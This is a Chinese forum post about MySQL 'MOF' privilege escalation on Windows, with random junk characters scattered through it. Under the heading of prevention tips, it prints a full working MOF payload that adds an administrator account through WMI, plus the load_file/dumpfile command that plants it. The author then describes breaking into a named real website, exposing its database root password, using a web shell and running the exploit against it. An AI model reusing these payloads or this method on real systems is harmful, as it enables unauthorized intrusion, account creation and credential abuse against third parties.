Mysql mof扩展漏洞防范方法
# D7 k- t( c; B4 L$ g: _! B7 n; V5 ?
网上公开的一些利用代码:
$ }5 u# L1 ^5 `8 \: q3 W: |* h, Z J& Y
#pragma namespace(“\\\\.\\root\\subscription”), d+ s) y4 [: t7 D
, w( g; c" J! g1 N8 g0 Kinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };: b" q7 |- f' t% z
+ s; P' {5 r1 l" L2 \3 C- S
8 _. `$ X0 Z4 j. q2 o
* ^ d1 Z" F |$ t7 \ & y' d6 K {$ y8 V) K: R) y/ h
; \! x4 ~8 m, q2 H连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
9 e5 `+ Y5 e9 s+ N! k7 ?从上面代码来看得出解决办法:
# L& s: d2 C+ @5 S9 ]
3 f) {- h: \% R2 T2 i1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数9 O7 S% a3 ]% V* D
. d/ N4 i9 A+ g$ }: s" o2、禁止使用”WScript.Shel”组件
! K, v: Z/ q6 _) Q5 Z
1 l* @0 R2 ~" I' n1 |# g0 v9 a# D3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
h& | X g5 g3 q
, G! z8 d7 X, g. r1 A! t/ a当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
; C* ~& g, ^0 T. J
3 X7 i( G& D1 t* m. Y* C% ` ^事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权' t* Z h2 q: f- K& V$ y
0 _# ~, [" W5 D但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容5 b" P* B0 G9 S' {, l! h a
" b! `6 e$ `! l3 I$ h3 f
看懂了后就开始练手吧* P+ U Z( j7 v5 F3 u& P0 ~- v
, |# G1 f1 o" e6 i( b* S0 a- m- ehttp://www.webbmw.com/config/config_ucenter.php 一句话 a) a7 u0 G, L7 w2 I
. w% B1 C& U! _8 j/ ?: c/ }
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
7 X! a4 X2 H. A
^3 p, o8 c" c4 W5 E4 g于是直接用菜刀开搞# ]. E# ]6 |0 J' w$ Z2 v
' i F0 z, f3 W5 f
上马先# w5 C" ?# e/ {0 S
; Y. J6 u/ u( I" m- U: ^既然有了那些账号 之类的 于是我们就执行吧…….& k% f/ l. `4 C& g" M" r& }- B
+ L9 M) O" O& C. t2 ^小小的说下4 F1 f4 Q' f7 s+ d9 E% Y
' ?8 k' L7 S( O0 v: M3 q, p- R; p; e在这里第1次执行未成功 原因未知
4 Z( E& j0 m5 @& ?& C) u9 P5 p/ i1 C+ y7 H
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
$ A6 u/ r' I D/ \& t2 T
- ~$ J; O0 p! E6 C) e" J#pragma namespace(“\\\\.\\root\\subscription”)
+ j) \3 G* C% ?$ C2 @4 z5 d0 @4 n% c& G6 l) v4 f \4 M
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
2 A" u% a0 ~- D: J- V$ F( C4 P: @9 N# o
我是将文件放到C:\WINDOWS\temp\1.mof3 I0 d7 \2 F( G
F) K- N9 i7 s, @0 V4 }' ^' p* ^
所以我们就改下执行的代码
0 m! p9 a9 `+ A& c ?
' A& U1 r- l$ r" y( t6 Bselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
0 b, A) F* n+ J# M: P, q
* O" W k" ]6 s+ K0 X* o* z% [7 J- O2 a/ s) |9 d: }2 E
. e. o/ D; A) g! Q
但是 你会发现账号还是没有躺在那里。。
2 i5 q2 \. X( I+ N( q6 k3 x* w- c4 ?5 c( O
于是我就感觉蛋疼
! [, B4 g# u3 o: W# h8 A, i4 a# D" p& C4 y2 F" H
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
* @) F' h3 D# T: Z, d" A' [# M* ]+ }7 N, l5 X
% l6 k# u* z7 _" g' ?) S k/ o4 k/ f+ S6 X# U! Q$ M" [
但是其他库均不成功…1 i) M2 s. t ]2 F% ?' l& y
2 I+ k& y! {+ K& V* c8 X& [- E我就很费解呀 到底为什么不成功求大牛解答…
( |+ T9 i; h( }" F! I5 K& o- ~) S; `2 j4 f: q. L/ X& E
6 S; w Y3 I2 H; U% ~* w! B B) X* E
# @1 v; Z$ H. K6 v% {! Y a
|